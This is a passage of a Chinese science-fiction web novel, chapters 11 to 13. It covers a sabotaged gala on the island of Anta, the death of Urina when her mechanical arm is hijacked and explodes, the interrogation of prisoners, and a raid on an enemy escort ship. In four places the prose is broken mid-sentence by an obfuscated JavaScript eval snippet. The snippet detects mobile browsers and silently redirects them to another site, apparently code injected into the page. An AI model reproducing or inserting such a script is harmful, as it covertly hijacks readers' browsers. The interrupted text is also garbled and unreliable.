可她对活在这世间并没有太多留恋,甚至盼着哪天能查出来个重病,那样她就可以坦然面对死亡,结束这禁锢又无趣的一生。 多吉算是她在这世上唯一留恋的人了,但齐观反倒很少向他表达过多的爱意。只为哪天自己先他一步走了,他总不至于太难过。 “不了吧,我还是喜欢有自己的空间。”齐观随便扯了个理由。 “好吧。”乌日娜没有继续劝说,而是扭头看向杰佛森,她的眼神充满了向往与温柔。 杰佛森注意到了乌日娜的目光,像是想到了什么似的,开始在口袋里翻找了起来。 “下个月我婚礼,欢迎你来。”杰佛森也给多吉递上了一张请柬。 多吉只是短暂地惊讶了一瞬,他笑着说:“那这个假我就提前请了。” “好说。”杰佛森点头答应。 多吉瞄了一眼坐在角落的齐观,捏着请柬略带犹豫地问:“求婚的时候……应该说什么啊?” “我没求,是她向我求的婚。”杰佛森摸了摸鼻子,有些不好意思地说,又很快反应过来,“难道你想?” “想……但她应该不会答应。”多吉的神情有些落寞,他的目光继续落在来往的服务员身上,生怕漏过任何可疑人员。 “你知道白玛为什么每天工作到这么晚吗?”杰佛森突然问道。 多吉疑惑地看向他,不知道他怎么突然提起这个。 “白玛女朋友在医院工作,和他相恋多年一直希望可以办个婚礼。白玛本想等到这次大迁居再领证,然后靠着工作年限分个好点儿的住处,再办一个隆重的婚礼给足对方浪漫。”杰佛森说着叹了口气,“半年前他女朋友因为肺部感染,连着高烧几天,人就没了。他现在每天后悔得要死。” “世事无常,想做什么就去做,别让自己后悔。”杰佛森看着多吉的眼睛认真地说。 多吉不禁陷入沉思,他还记得自己十六岁那年第一次见到齐观。 那时他刚被分到部队定向班级,岛上日头大,臭氧层烂得像块破抹布似的,班里都是些晒得黢黑的十五六岁的毛头小子,一见到白白净净的实习女老师,叫喊声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064769|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口哨声简直能把房顶掀翻。 而齐观并没有被吵闹声影响,她一脸淡然地在黑板上默默写下自己的名字,白粉笔灰随着她修长的手“哧哧”落下,黑色的长发在阳光下照射下如一条上好的绸缎。 “都给我老实坐着!”一同进来的男老师“啪”的一声把教尺拍在讲台上,又把书往讲台上一扔,“这是新来的齐老师,她会在咱们班实习半个学期,你们下课别太闹腾了啊。” 学生们嘴上应着,一下课还是把齐观的座位围了个水泄不通。 齐观那年只有十八岁,并没有比这些学生大多少,每天围着她献殷勤的男生一波又一波地涌上来。她却一个人坐在教室最后的靠墙独座,上课认真记笔记,下课倒头就睡,并不怎么回应别人。 多吉个子高,就坐在她前面的座位,明明是个近水楼台先得月的位置,却总是不敢找她说话。 这天,多吉又在翻他那本随身携带的诗集,只留给齐观一个沉默的背影。他感到背上传来星星点点的触感,于是缓缓转过身。 “你在看什么?可以给我看看吗?”齐观趴在桌子上,指了指多吉手里的书。 多吉没说话,直接把诗集递了过去,薄薄的一个小册子记录了世界各国最优美的诗歌。 千百年来,人们从未停止感叹生命的短暂,思考死亡和歌颂伟大的爱情。 齐观饶有兴致地翻看着诗集,多吉则静静地看着她,仿佛时间就停在了这一刻。 上课铃响,齐观“唰”地将书翻至最后一页,还有些意犹未尽,刚想张口借这本书,却看着那页纸愣住。 多吉慌乱地把书抢了回去,转过身面朝讲台,注意力却完全集中不到黑板上。 而齐观眼见着多吉的耳朵越来越红,心里顿时明白了缘由。就在刚刚,她清楚地看到书的扉页那一行手写的字:心跳加速的瞬间,血液中流淌过我一生的奇观。 学校很快意识到这班学生的心思都不在学习上了,连试讲课都没来得及安排一节就直接把齐观调去了小学部,尽管她的入职教师测评成绩已足以在高中部任职。 齐观并不在意这些安排,只是第一天在小学的班级跟完晚自习之后,看到了在楼门口阶下等候多时的多吉。 “齐老师。”十六岁的少年直勾勾地看向心上人,青涩的面庞上写满了渴望。 “叫我齐观吧。”齐观柔声说,她走下台阶,晚风轻轻掀动她白色的裙边。 两人一路沿着海岸线漫步,夜空晴朗,星光闪耀。齐观说想要看星星,多吉便脱了自己的衬衣垫在沙滩上,上身只剩下一件白背心。 少年的身形已经初具模样,背肌挺阔,双腿修长。 多吉往齐观身边靠了靠,大手覆住了她的手。齐观眼眸低垂,并没有挪开的意思。 干燥的沙滩散发着白天吸收的热量,让人觉得暖烘烘的。多吉脑子一热,探过身在齐观脸上落下轻轻一吻。 时至今日,二十二岁的多吉依旧记得那一刻的心跳声,隆隆如春雷。 多吉再次向齐观望去,却发现宴会厅的角落只剩下乌日娜一人把守,齐观早已不见了踪影。 众宾客已经开始进场,多吉也没空再想这些,只能继续守在自己的点位上。 “希望今晚一切顺利。”杰佛森环顾四周低声说道。 11. 第11章 晚宴现场人头攒动,除了双方的领导层和研究员,岛上的富商大贾也受邀来到了现场。尽管岛上的生活物资并不充盈,但也毫不影响这些人身着各式各样华丽的手工礼服争奇斗艳,他们聚在一起高声交谈,交换着利益与信息。 灯火辉煌的礼堂镶嵌在黑暗的孤岛之上,像是漆黑王冠上一颗明亮的钻石。 肖蔷轻敲酒杯,站在话筒前准备致辞,全场的目光循声聚焦在她身上。 “各位晚上好,我谨代表安塔岛的各位向来自北美大陆的客人问好。随着意为雪域的“喜马拉雅”消失,意为目的的“安塔”出现,共同的危机让我们相聚在这让全人类为之向往的目的地。唯有通力合作、共享成果,才能让我们共同走向更有希望的未来。请尽情享用美食与美酒,愿此时的欢乐永远与你同在。” 众人共同举杯,晚宴正式开始,一道道精美的菜肴如流水般被端上餐桌。 “一吃就是岛上养殖场里的东西,都吃腻了。”一个大腹便便的男人刚尝了一口就把筷子放下了。 邻座的人赶忙起身倒酒,凑近满脸谄媚地说:“还是您会吃,我跟采购部订了下个月海捕的鲜货,到时候送到您府上去。” 站在一旁把守的多吉闻言微微皱眉,这一桌菜的价格足够最底层的工人一年的生活,在这些人眼里却已经司空见惯。 一阵风卷残云,宴席接近尾声,人们开始三三两两地朝舞厅走去。 杰佛森略带笑意地大步走来,说:“你去舞厅盯防吧,这里不需要这么多人了。” 多吉虽然有些奇怪为什么要临时变动,但还是听命去了舞厅。 刚进舞厅大门,多吉就看见了一袭淡紫色长裙的齐观等在门口,颈间的珍珠项链衬得她的皮肤更加透亮,白色蕾丝边手套堪堪盖住手腕。第一次见到齐观如此打扮,多吉不由得原地愣住。 齐观款款向他走来,裙摆摇曳,和记忆中那晚的样子逐渐重合。 “好看吗?”齐观浅笑着问,她的头发绾在了脑后,颈间垂了几缕碎发。 多吉认真地点头回应,眼神温柔地能挤出水来。 “你欠我一支舞哦。”齐观贴近多吉轻声说,又向后一步向多吉伸出了手。 多吉仅思考了片刻,便微微摇头说:“职责所在,今晚不能陪你了。” “拒绝这样美丽的女士,实在不是绅士的行为。”亚伦出现在多吉身后,脸上依旧是他标志性的咧嘴笑,张扬无比。 “MayI?”亚伦向齐观伸出手,齐观自然地把手搭上,两人信步走入舞池。 舞会并未正式开始,乐团演奏着轻柔的华尔兹,舞池里已经有几对年轻人等不及先跳了起来。 亚伦勾了勾唇,低声说:“你总是能给我带来惊喜。” “你们也不赖,动作很快。”齐观搭上了亚伦的肩膀,凑到他的耳边说,“一切都安排好了,任何求救信号都逃不过这里的屏蔽器。” 亚伦满意地笑了笑:“如果有机会,我真想和你这位美丽的小姐跳一支完整的舞。”他又看向场边值守的多吉轻笑道:“那样的男人并不能配得上你的智慧与野心。” 齐观气定神闲地说:“那就祝你一切顺利了。” 亚伦放开和她相握的手,隔着手套在手背上落下蜻蜓点水般的一吻,随即走向舞厅最前方,齐观则隐入了人群之中。 舞厅里的人越聚越多,还新来了很多盛装打扮的年轻人,富商和政客相互引荐,试图将他们的孩子也编织进这张巨大的关系网,一时间热闹非凡。 灯光渐暗,聚光灯打在亚伦的身上,所有人都在等待他的致辞。 “我的朋友们,今晚还有一个惊喜正在等待大家。”亚伦说着,摸向了他的上衣口袋。 就在亚伦触摸到口袋的一刹那,他嘴角的笑意戛然而止,表情瞬间被慌乱和不可置信替代。他又不死心地把手探进了口袋,然而那里已经空空如也。 爆炸声并没有如预想中响起,在场的北美众人顿时慌了神。 正当亚伦面露凶狠地四下张望,盘算如何脱身时,舞厅前后两扇大门同时被大力撞开,机动队迅速冲进舞厅。 “所有人抱头蹲下!”杰佛森和乌日娜同时把守住出入口,以防现场溜出去任何人通风报信。 舞厅内没有任何可以躲藏的地方,宾客们尖叫着向厅内的边边角角逃窜,撞得头发散乱,高跟鞋横飞,场面十分混乱又荒诞。 亚伦和他的护卫趁乱拔枪与机动队对峙,谁都不敢轻举妄动。 钱章双手插兜从后门走了进来,眼神直接对上了略显狼狈的亚伦,“放下武器吧,你们安排的人刚上岸就被扣押了,舰队也因为信号屏蔽器收不到你们的消息,这还要多亏你们自己的计划。” 亚伦身边的护卫面对意外的情形,一时都不知道该如何反应。他们手中只有便携式手枪,根本形不成足够的反击力量,有些头脑拎不清的甚至直接将枪口对准了平民。 “哦?确定要开枪吗?”钱章饶有兴致地说,“原本你们只会被打包送去暴露区,生死由天。可若是开了枪,你们就得永远埋在这座岛上了。” 护卫们心里的天平不由得倾向了自己的性命,这又不是在舰队上,就算保了自己的命也没人能责罚他们。 亚伦见势头不对,立刻抬手示意护卫和研究员向他围拢过去,大声嘲讽道:“你们真的以为一切尽在掌握之中了吗?” 包围圈不断地向亚伦的方向缩小,钱章只当他是在垂死挣扎,却没想到突然听见身后传来痛苦的呻吟,还伴随着急促的吸气声。 钱章猛地回身看去,简直不敢相信自己的眼睛! 乌日娜的机械臂伸出了一把尖刀,直直地插入了她的心脏。她整个人痛苦地跪倒在地,而此时机械臂中还有好几把武器正在加速转动。 “卧倒!”钱章大声喊着,纵身一跃扑倒了身边一个年轻的士兵。 整只机械臂瞬间炸开,一把长钢刺擦着钱章的右肩飞过,划出一道深深的口子,身边的不少士兵也丧失了行动能力。 亚伦一伙人齐齐开枪打破玻璃,趁乱逃走。 “多吉,你先带队去追。”杰佛森的声音抖得不行,脚也像踩在棉花上,刚迈出一步整个人就晃了一下。 多吉扶了杰佛森一把,立刻召集队员追出舞厅。 杰佛森一步一缓地走向倒在血泊中的乌日娜,腿一软跪倒在她身旁,小心翼翼地将她扶起抱在怀里。 乌日娜右臂的位置已经空空如也,爆炸产生的震波严重地损伤了她的内脏,还有许多金属碎片扎进了她的身体。她的嘴里不断呕出鲜血,明明已经没有多少意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064770|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识在了,眼睛却还用力睁着。 杰佛森颤抖地伸出手,轻轻地摸向她的脸。 乌日娜感知到了这温暖的触碰,眼中突然恢复了一丝光亮,她缓缓抬头望向杰佛森,颤颤巍巍地举起戴着婚戒的左手与杰佛森相握,两枚婚戒的光芒交相辉映。 “别为我难过……我已经……没有遗憾了。”乌日娜挤出一丝微笑,左手随即滑落在身侧,眼睛也彻底暗淡了下来。 杰佛森再也忍不住心底的悲伤,抱紧乌日娜歇斯底里地哭嚎起来,眼泪大颗大颗地落在乌日娜的胸口,和仍有余温的血液融为一体。 一旁受伤的钱章挣扎着起身拿起对讲机说:“封锁海岸线,任何船只不得离岸。” 他看向杰佛森,于心不忍道:“你放心,我一定给你们一个交代。” 礼堂外,全岛正以礼堂为中心不断扩大照明区,刺眼的灯光划破黑夜。陆军倾巢而出,无人机群的蜂鸣声响彻整座岛屿。 居民们刚拉开窗帘想要看看发生了什么事,马上就被咆哮着驶过的皮卡吓回去了。 大部分研究员都没什么逃跑能力,还没跑到半山腰就被拘捕押回,钱章紧急处理了伤势,根据杰佛森给出的线索提审了科迪。 和其他人不同,科迪从一开始就留在舞厅,丝毫没有想要逃走的意思,甚至进了审讯室也是一副事不关己的轻松模样。 “你想知道什么?”科迪十指交叠,饶有兴趣地问道。仿佛他不是受询的犯人,而是在做什么学术访谈节目。 钱章的肩膀伤得不轻,嘴唇因失血微微发白,他直接了当地问:“乌日娜的机械臂是不是你动了手脚?” “当然,除了我也没有别人有这个能力了。”科迪自信地说。 钱章实在不知道科迪这个阶下囚到底在得意些什么,微微眯了眯眼又问道:“乌日娜明明检查过你的代码,你到底做了什么才能蒙混过关?” “代码当然是没有问题,有问题的是芯片。”科迪扬了扬嘴角,“我开发的母子芯片中有一层薄薄的生物质隔离膜,就算乌日娜会检查也只能调取到母芯片的内容。而芯片和人造肌肉中的组织液融合两天之后,隔离膜会自动溶解,嵌套在其中的子芯片代码才能被读取。有了子芯片的代码,我随时都可以夺取机械臂的控制权。” 科迪说罢,直接将手机中的控制界面摆到了钱章面前。 钱章的心仿佛沉到了谷底,战争就是这么残酷,任何漏洞都会让人失去性命。 “所以我在研究所里的职位是什么呢?”科迪打断了钱章的思绪,一副对未来充满希望的样子。 钱章完全没明白他到底什么意思,脱口而出:“你说什么?” “乌日娜不在了,我就是你们岛上机械控制领域里最出色的研究员。与其追忆亡者,不如和更有能力的人合作,不是吗?” 钱章只觉得浑身气血上涌,没想到乌日娜的性命竟然丢在这种人渣的手里。 “不用这么惊讶,我们北美洲一直是这样做的。生活资源有限,没有价值的人活着也是浪费粮食,不如把资源让出来让有价值的人过得更好。” 科迪习以为常的口气让钱章不知道该如何反驳,也许他从生下来就被灌输这样的价值观。 钱章怒视良久,什么也没说就直接离开了审讯室。 12. 第12章 通过钱章身上的对讲机,调度中心里的所有人都已经听到了审讯的对话。 齐观看向轮椅上的首长,那是一个生命力日渐枯竭的瘦小女人,花白的短发只过耳寸许。虽是第一次见,但首长眼神中的悲悯与坚定却莫名吸引着齐观。 首长遥控轮椅,停到颓站在窗边的杰佛森身旁,用手轻轻拍了拍他的手背。 “想哭就哭出来吧,你不只是一个军人。”她说。 杰佛森痛苦地捂住面庞,用力揩了一把眼泪。他并不是一个情绪外放的人,极度的悲伤过后,等待他的将是漫长的悔恨。 钱章推门走进调度中心,雷达屏前的士兵向他报告,北美舰队在过去的一个小时里,只向前行进了30公里就停下了,原本起飞的战斗机群在被导弹击落两架后,也立刻返回了甲板。 钱章点点头,走上前向首长汇报道:“目前我们已经控制了对方大部分的高级将领和研究员,但抓捕亚伦的队伍还没有传来消息。如果此时北美舰队不对岛上发起进攻,趁乱把他救回,等不到天亮他就一定会被抓到。所以我猜测很可能舰队的指挥官已经和亚伦产生了分歧。” 肖蔷同意道:“舰队既然没有选择返航,就说明对攻岛有些想法,但亚伦的计谋未能得逞,迎战他们的将是我岛的全部实力,这才让他们不敢轻举妄动。迟则生变,我们要尽快消灭他们反击的可能……”话音未落,肖蔷突然紧皱着眉用手捂住了肚子。 站在墙边的周文涛见她神情十分吃痛的样子,便问:“怎么了?是哪里不舒服吗?” 肖蔷连忙回身摆手说:“有点胃疼,老毛病了,不耽误事的。” 钱章见肖蔷没事便急着说:“我也赞成主动出击。我们的侦查无人机已经摸清了他们部分的舰载武器,而研究所并没有开放我方舰载武器的研究权限给他们,信息上还是我们更占优。” 首长却不疾不徐地说:“两军交战并不只是武器高低的比拼,更多的是指挥者之间的较量。我们现在要做的是掌握对方指挥者的位置,并用最快的速度将其全歼。” 钱章应道:“明白,我这就组织审讯所有被控制的人,用最快的速度问出来。” “人那么多,再怎么审也需要一些时间,咱们不搞重刑审问那一套。”首长摆摆手,面带微笑地看向齐观,“小姑娘,也许你有什么办法吗?” 突然被点名的齐观愣了一下,一屋子的高层都转头看向了她。身旁的周文涛用胳膊肘怼了怼齐观,示意她赶紧说点什么。 齐观思考片刻,虽然她不懂什么审讯,但她明白这些人上岛究竟是想要什么,“现在僵持不下,无非是他们觉得真打起来没有几分胜算,而已经被逮捕的人更是丧失了希望。我们可以承诺,按照提供信息的先后顺序和重要性论功行赏,承诺给他们优厚的生存资源。有些人为了能让自己过得好些,是绝对不惜出卖他人的,而且这种人也是不会给出假信息的。” 肖蔷闻言微微皱眉:“但是安塔岛上的资源也并不是那么富余,只是相对其他大洲要稍微好一些罢了。” “承诺……也未必要兑现吧。”齐观看着颓丧的杰佛森,觉得自己当一回坏人也没什么关系。 首长满意地笑了笑:“文涛一直跟我夸你,看来他眼光不错。” 众人一致通过了这个解决方案。钱章拎走了失魂落魄的杰佛森,让在场的侦查队队员给北美团编了些先开口的好处,随即侦查队便把一批又一批的人带进审问室。 研究所楼下,未参与晚宴的北美研究员也被排成队带走。 而留在研究所佯装加班,实则监视的赵毅见着那些研究员踊跃开口的样子,急得像热锅上的蚂蚁。他颤抖着手,掏出手机打给自己的上线:“现在怎么办啊?德里克会不会把我供出来啊?” 话筒对面传来一声轻笑:“担心什么?德里克不是跟着跑了吗?等把他抓回来,他的供词我自有办法。况且替罪羊早就找好了,你就把心放在肚子里吧。” 虽然听了这些话,赵毅也并没有全然放下心来。他想了想又犹豫地问道:“那咱们说好的条件……?” “这个你也放心,我是不会坑自己人的。” “那就好,那就好。我等您好消息。”赵毅满脸堆笑地挂了电话。 凌晨,钱章和肖蔷带着一份副舰构造图和几幅指挥官画像来到了首长的病房。 首长自从三年前确诊肾衰竭,身体就再也离不开透析,随着身体每况愈下,干脆就把工作和生活全都搬进了医院。 病床上的首长被护士搀起,靠坐在枕头上听着钱章的汇报。 “他们果然没有将指挥人员放在主舰上。只要我们拿下这艘护卫舰,他们的舰队将会群龙无首,一举全歼也不会太过艰难。” 首长看着图纸思考了片刻,说:“只拿下这艘护航舰就够了。” 钱章和肖蔷都有些意外地看着首长,首长继续说道:“派一支精锐队伍夺取这艘船的控制权,屏蔽它的信号,并通过公共频段给其他舰船广播命令。如果不参与救援原路返回,我们就放过他们。” “什么?放过他们?”军人对危险的嗅觉让钱章并没能立刻接受首长的命令。 肖蔷则很快反应了过来:“成年人一个月要吃和自己体重相当的食物,在海上停泊的这一个月里,只怕他们带来的粮食已经所剩无几了。如果这个时候我们全力进攻,他们很有可能跟我们拼个鱼死网破,到时候安塔岛就会是一个固定好的靶子,伤亡不可估量。” “可是这样不会养虎为患吗?”钱章依旧十分担忧,“现在我们放他们走了,如果他们卷土重来,只会更有防备,甚至直接发动突袭也是有可能的。” 首长耐心解释道:“北美发动对南美的战争无非是为了占据第二高峰阿空加瓜,延续拥有土地的时间。我们只需要让他们明白,以他们的实力威胁不到我们,让他们打消继续争取时间的念头就够了。而且就算他们在阿空拉瓜山脉驻扎下来,以现在海水上涨的速度恐怕也就只剩五十年了。” 温度越高,分子间距越大,再加上冰质小行星带来的雨水,最近研究所报上来的海平面预测数据真是越来越不乐观了。 首长扭头望向窗外的海岸线,“五十年,如果给一个普通士兵选,是选择花光家底、搭上性命和另一个实力更强的大洲宣战,还是回到自己的家园安度晚年,结果不言而喻。” “我明白了,这就去派人。”钱章起身应道,随即离开了房间。 “对了。“首长抬手叫住了一同起身的肖蔷,“北美舰队带上岛的炸弹虽然已经被钱章派人暗中拆除,但数量非常多,没有岛上的人配合是不可能的。钱章现在顾不上这事,你帮忙协调人查吧。” 肖蔷回头给了首长一个令人心安的笑容:“您放心吧。” 此时的夜空之上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064771|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再次聚起乌云。钱章一路飙车回到军区,直奔机动队集结场。 岛上除了机动队是常备的军事力量,其他部队的人闲时都有各自的工作要做,否则以安塔岛的产能是养不了这么大的队伍的。 钱章心知北美军备只会比安塔岛更差,无论是从船员人数还是专业程度方面,只是迎面吹来的夜风越来越强劲,他心中隐隐有些不安。 “这次的任务需要一队人跟我上船假意和谈,全歼对方的指挥部。另外两队在我们屏蔽舱内信号后,从护卫舰的两侧偷偷上船控制底层船员,如有反抗,格杀勿论。其他人则到舰队上待命,如果情况有变,随时准备攻击。” 杰佛森虽然经过了简单的休整,但脸色依旧像蒙了一层厚厚的灰,眼眶也有些红肿。钱章的目光只在他身上停留了一秒,便移开看向多吉。 “让我去吧。”杰佛森主动向前了一步,“这次的任务风险很大,作为队长,我不可能让我的队员冲锋陷阵,自己躲在船上等信号。” 钱章直接瞪了他一眼,张嘴就骂:“你现在的状态不适合去执行任务,去主舰上找聂司令报道。” 杰佛森纹丝不动地站在原地,丝毫没有退让的意思。 钱章气得踢了杰佛森一脚:“你现在过去就是送死!军人上了战场没有清醒的头脑,比没有枪还可怕!” 杰佛森依旧梗着脖子看着钱章,声音微微颤抖:“如果任务失败,战火烧到平民身上,她不就白牺牲了吗?” 钱章抬手指了指杰佛森,又不忍心再说他什么,无奈叹了口气说:“多吉,你跟着一起上船,看着点儿他。” “谢谢。”杰佛森小声说,眼里也有了几分精神气。 “白玛、姚望宇,你们各带一队人从左右两舷潜到船上,控制住底层船员。参与岛上排查炸弹的人去侦查队协助调查,其余并入总舰队,听聂司令的指挥。” “是!”全员齐声答道。 为了分散打击点位,安塔岛仅剩的五艘军舰在离岛20公里的位置摆阵排开,与北美舰队的七艘军舰隔海对峙。 虽然在数量上落了下风,但安塔岛凭借陆地面积的优势,依旧有维护军舰与生产武器的工厂,从打击能力来说,就算北美军舰的数量再翻个倍也不在话下。 一艘巡洋舰和一艘电子侦察船缓缓驶向北美舰队。海面骤起波澜,风也带着一股不容拒绝的力量,乌云低得要与海水相交,一场暴风雨即将来临。 “这是所有主战派将领的画像,都记清楚了。”钱章命令道,“待我发出信号,一个不留。” 队员们面色凝重地紧盯着这些敌人的面容,于此同时,电子侦察船也已向副舰发出了和谈的信号,但一时并没有传回任何讯息。 钱章等人站在无线电报室无声地等待着,终于,他们收到了同意他们上船谈判的回复。 “马上对左一副舰进行信号屏蔽,并对其他船只发出禁止救援的命令!”钱章向对讲机说道。 巡洋舰继续向前航行,船上每个人心都提到了嗓子眼。如果对敌方船员的预判有误,这艘载有安塔岛精锐部队的巡洋舰将首当其冲。 副舰近在眼前,对方已经开始放下舷梯。对讲机传来电子侦查员的声音:“司令,收到广播的敌方舰队已全部同意不参与对战。” “收到。开始保持静默。”钱章放下对讲机,对身边的队员道:“准备登船。” 13. 第13章 乌云与夜海形成了天地一色的黑,水气弥漫能见度极低的海上,唯有军舰上的指示灯发出星星点点的光。 北美派来的直升机在狂风中勉强停在起降点,一名副官带着几名士兵跳下机舱,来到了安塔岛的巡洋舰上。 那副官环视一圈了甲板上的人:“你们的配枪不能带上船。”说罢便一抬手,指挥士兵上前收枪。 钱章闻言不紧不慢地解下了配枪,握在了手里。士兵刚要上前,钱章却枪口一转直接对准了副官。 副官惊得瞪大了眼睛,随行的人立即掏了枪对峙,却又不敢真的在安塔岛的地盘怎么样。现场的气氛一时凝固到极点。 钱章冷脸看着副官:“就凭你们在岛上做的那些事,还有什么资格跟我提要求?要么我的人原封不动地上船,要么就别谈了。” 副官紧张地直咽口水。和谈当前,若是还没开始谈就搞崩了局面,他自然也落不到什么好处,便赶忙挥手让人让开一条路。 钱章把枪利落地别回腰间,带着一干人等迎着狂风大摇大摆地上了直升机。 螺旋桨加速劈开大颗大颗落下的雨水,直升机起飞重新落回北美护卫舰甲板。 从踏入敌方甲板的那一刻起,身处队伍一头一尾的多吉和杰佛森就警惕地盯着一个个紧闭的舱室,生怕对方有什么动作,即便是到了会议厅也丝毫不敢放松。 会议厅并不大,将领加上守卫也不过二十人左右,墙体久未修缮甚至显出了斑驳的锈迹,军舰的老旧程度可见一斑。 钱章斜眼看着会议厅里坐在首位的人,那是一个年逾四十长着鹰钩鼻和狭长眼睛的男人,眼镜镜片反射出算计的光芒。据情报,他本就与亚伦对进攻安塔岛的计划有分歧,是个更看重个人利益的保守派。 钱章一抬下巴:“你就是贝利尔?” 贝利尔刚要站起的身子僵在原地,似乎对钱章轻狂的样子十分意外,连准备好的欢迎词也不知该如何开口。 “地球上就剩这点人了,打什么打?”钱章把凌晨的疲惫都摆在了脸上,他扯松了领带,径自拉开凳子坐下,翘着二郎腿说:“早点谈完,大家都轻松。” 北美的将领们见安塔岛派来的人竟如此浮躁急切,不像是有什么城府的样子,多少放下了几分戒备。 会议厅内的气氛稍显放松,和谈正式开始。多吉和三个长得文气些的队员提前换了西装,装作是和谈的随行人员与钱章坐在一处。杰佛森则带了两个身手不凡的守在他们身后,并悄悄打开了信号屏蔽装置。 多吉从文件夹中抻出几张纸,分发到对方的几名将领手中。 “这是我方拟定的和谈条件。”钱章向后靠了靠,调整了个更舒服的坐姿,“岛上会根据你们的职级安排住处和工作。虽然不比现在风光,但至少生活条件肯定比你们大洲剩的那个小山头要好很多。” 暴雨冲刷着钢铁船体,给整间会议室笼罩了一层低闷的隆隆声。几个高级军官面面相觑,谁都没有先开口。 单子上条件实在算不上有诱惑力,除了在面积大些的陆地上更有安全及资源保障以外,几乎没有任何别的好处了。 让这些在船上当惯了领导的人上岸当牛马,自然不是说谈就能谈下来的,而这也正中钱章下怀。 “如果我们不同意你们的条件呢?”贝利尔试探性地问道。 钱章装作更不耐烦的样子:“这已经是我们最大的诚意了,你们倒是应该反省自己要的是不是太多了。” 坐在贝利尔身边的人厉声质问道:“我们怎么知道这诚意是真是假?国际上下了谈判桌再变卦的事还少吗?” 多吉认出这人是北美军团里主战派里最激烈的一位,便马上学着钱章的样子回怼道:“你有什么资格质疑我们的诚意?难道不是你们先在背后搞鬼?如果不是为了岛上的平民百姓,你以为你们还有跑的机会?” 贝利尔见对方被激得交了底,才终于信了几分,他又问道:“七艘船上一共有近四千人,难道你们都能接收?” 钱章轻蔑地笑了一声:“我们又不是来做慈善的,除高级军官外概不接受。而且你们船上剩余的物资也要留下来大半,作为你们的入岛费。” 安塔岛从被世界所知起,入岛资格便是万金难求。若付不出资源,就只能参加通过率极低的入岛考试。钱章的这个要求让在场的所有人更加相信了和谈的真实性。 钱章见他们还是有些犹豫,便假装打了个哈欠,说:“我们目前只能承诺你们这么多,如果你们不同意那就先上岸,等明天大家脑子清醒的时候再谈吧。” 晚一天谈成就要多消耗一天的物资,成百上千的士兵吃掉的可是他们上岛的本钱,钱章知道这伙贪婪成性的人绝对等不起。 果然,贝利尔马上开了口:“这是关乎两大洲和平的谈判,宜早不宜迟。我们现在就可上岛和你们谈判。只不过……” 贝利尔伸出食指在空中画了一个圈,几个守卫立刻上前围堵住在钱章身后。 “我们上岸去谈就够了。你们留在这里,我会比较放心。”贝利尔看着钱章强忍怒意的样子,更加信心十足地吩咐道:“记得给我们的贵客安排最好的住所。” 贝利尔说罢便起身离开了会议桌,和他一起的还有身边的两位将领,其他人则坐在原地。 走到门口的贝利尔将视线落在杰佛森的肩章,那是一枚早就调换过的,普普通通的中士肩章。 “就让这位优秀的士兵带我们去吧。”贝利尔说。 钱章不动声色地偏过头看向杰佛森,并向门外使了一个眼色。 “是。”杰佛森点头应道,先一步走到了走廊里。 钱章回正了身子,十指交叉,轻抬了两下双手的食指。身旁两侧的队员立刻接收到了信号,每人锁定了离自己最近的三名敌人。 贝利尔的脚步声落在地毯上又闷又轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064772|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可落在钱章的耳朵里却有千斤重。 就当贝利尔和随行的两名官员全部踏出房门的那一刻,钱章和杰佛森同时抬枪将那三人打了个对穿,屋内的其他人也凭着几个精准的点射瞬间放倒了屋内大半的人。 但能进到这个屋子里的人也都不是吃素的,仍有一战之力的将领立刻卧倒翻滚至谈判桌下,掏枪准备还击。 眼见对方占领了低视线区的反击有利位置,多吉左手撑住桌子一跃而上,在桌面一个快速的侧滑落到了对方将领的身后。还没等他们反应过来,就已经被背后的冷枪夺了性命。 密密麻麻的枪声掩藏在暴雨之中,其他船舱里的人只当是响了几声炸雷,根本不知道会议厅里的将领已经被全部击毙。 尚有行动能力的队员们纷纷上前检查着地上还有没有活口,受伤的则撕了衣服进行紧急包扎。 钱章掏出对讲机:“幺组,俩组,立刻汇报情况如何?” 白玛:“报告,驾驶舱已控制。” 